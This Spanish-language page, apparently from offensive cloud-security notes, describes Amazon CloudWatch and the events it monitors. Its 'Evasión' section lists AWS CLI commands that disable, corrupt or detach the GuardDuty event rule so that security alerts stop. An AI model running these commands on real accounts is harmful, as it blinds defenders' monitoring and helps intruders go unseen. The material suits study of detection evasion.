# CloudWatch

## ¿Qué es?

Amazon CloudWatch es un servicio de monitorización de los recursos de la nube de AWS y de las aplicaciones que se ejecutan en AWS. Puede utilizar Amazon CloudWatch para recabar métricas y hacer un seguimiento de las mismas, recopilar y monitorizar archivos de log y establecer alarmas. Amazon CloudWatch puede monitorizar recursos de AWS como, por ejemplo, instancias Amazon EC2, tablas de Amazon DynamoDB e instancias de base de datos de Amazon RDS, así como métricas personalizadas generadas por las aplicaciones y los servicios, y los logs generados por las aplicaciones.

<figure><img src="https://3716593425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FghTUs02Gr2jdaFqpzAHM%2Fuploads%2Fgit-blob-98b7cb446e07c0649e49f7e57079a96d61113002%2Fimage%20(83).png?alt=media" alt=""><figcaption></figcaption></figure>

Amazon CloudWatch permite recopilar todos sus registros en un único repositorio en el que puede crear métricas y alarmas basadas en los registros.

CloudWatch Log Event tiene una limitación de tamaño de 256KB de cada línea de registro.

Puede monitorizar, por ejemplo, los registros de CloudTrail.

* Eventos que se monitorizan:
* Cambios en los grupos de seguridad y NACLs
* Arranque, parada, reinicio y finalización de instancias EC2
* Cambios en las políticas de seguridad de IAM y S3
* Intentos fallidos de inicio de sesión en la consola de administración de AWS
* Llamadas a la API que resultaron en una autorización fallida
* Filtros para buscar en cloudwatch:

{% embed url="https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html" %}

## Evasión

{% code overflow="wrap" %}
```bash
# Disable GuardDuty Cloudwatch Event
aws events put-rule --name guardduty-event \
--event-pattern "{\"source\":[\"aws.guardduty\"]}" \
--state DISABLED

# Modify Event Pattern
aws events put-rule --name guardduty-event \
--event-pattern '{"source": ["aws.somethingthatdoesntexist"]}'

# Remove Event Targets
aws events remove-targets --name guardduty-event \
--ids "GuardDutyTarget"
```
{% endcode %}
